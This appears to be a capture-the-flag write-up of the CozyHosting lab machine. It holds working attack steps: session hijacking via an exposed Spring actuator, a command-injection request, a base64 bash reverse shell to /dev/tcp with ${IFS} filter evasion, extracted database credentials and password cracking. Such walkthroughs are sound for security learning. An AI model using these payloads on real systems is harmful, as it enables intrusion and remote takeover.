CozyHosting
Enumeration
Initial scans shows exposed ports 22 and 80
Looks like it's trying to redirect to http://cozyhosting.htb
. Let's add it to the /etc/hosts
curl -I cozyhosting.htb
HTTP/1.1 200
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 21 Sep 2023 19:13:45 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Language: en-US
Let's try to explore the directories with gobuster and it could not find anything.
Checking the headers, looks like the Content-Type is application/json, so probably there's an API behind
Checking the error pages seems the one generated by Spring Framework. We can probe that by checking if it has the /actuator
endpoint public.
Probably the nginx server is acting as a proxy since the actuator returns localhost:8080 as the API address
/actuator/sessions
returns interesting data:
{"71555732BBE84C711A910118954B72C3":"kanderson","24BF9E9AC99A7F02F4006F36634DB3F1":"UNAUTHORIZED","3C47D6E35D00F4B01B7EF0EE5F3305FA":"UNAUTHORIZED","217ABE7CFC46C07AF69818945F9B702E":"kanderson"}
Foothold
If we check the page, looks like there's a login page, if we change the JSESSIONID
cookie by the value in the /actuator/sessions
for user kanderson
, we'll be redirected to the /admin
page.
Once we enter the admin page we see a form that if we send it will call the /executessh
endpoint ...
From the error, we could think that is calling the ssh command directly, so maybe this is vulnerable to command injection. We can try to get the output of id
command.
Looks like hostname is validated somehow, however with username we can break the command execution:
curl -vvvvv 'http://cozyhosting.htb/executessh' -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: JSESSIONID=B762D32C36AE8003E582400AC70E4261' \
--data-raw 'host=localhost&username=`id`'
It's pretty hard to know how to make the command execution works, you need to try several combinations with \`` and
;` and eventually got it working. Now let's open a reverse shell. In order to get the reverse shell, take into account that username cannot have spaces, a minimal validation is done.
To generate the payload that generates the reverse shell:
- Search a payload here: https://www.revshells.com/
/bin/bash -i >& /dev/tcp/10.10.14.183/4444 0>&1
- Let's base64 it:
echo "bash -i >& /dev/tcp/10.10.14.183/4444 0>&1" | base64 -w 0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODMvNDQ0NCAwPiYxCg==
- Make the payload: echo the base64 payload, then base64 decode the payload and let bash run the payload:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODMvNDQ0NCAwPiYxCg== | base64 -d | bash
You can run that payload and it should create a new connection to the listening nc
- The endpoint don't link spaces, so let's replace it for the IFS character:
echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODMvNDQ0NCAwPiYxCg=="${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash
However, if we try that payload, it will complain about whitespaces...
- Do URL-encode and it will work
Now we have foot-hold in the machine but without a relevant user
Lateral movement
if we do ls we can see a jarfile, let's download it. Searching inside the jar file, we see a promising thing, the configuration for the postgres database:
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
psql --user postgres --host localhost --port 5432 --password
We can find the users database:
name | password | role
-----------+--------------------------------------------------------------+-----
--
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n
The password for kanderson
can be seen in the code and is MRdEQuv6~6P9
Nothing seems to indicate the password for user josh
. Let's try to crack the password for admin with john the ripper:
john exfil/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
With that password, we can now enter the ssh with user josh
and we are in and we can read the user flag.
Privilege escalation
sudo -l
shows that the user josh
can run ssh with root privileges, let's check in GTFO bins how to use it to get root access.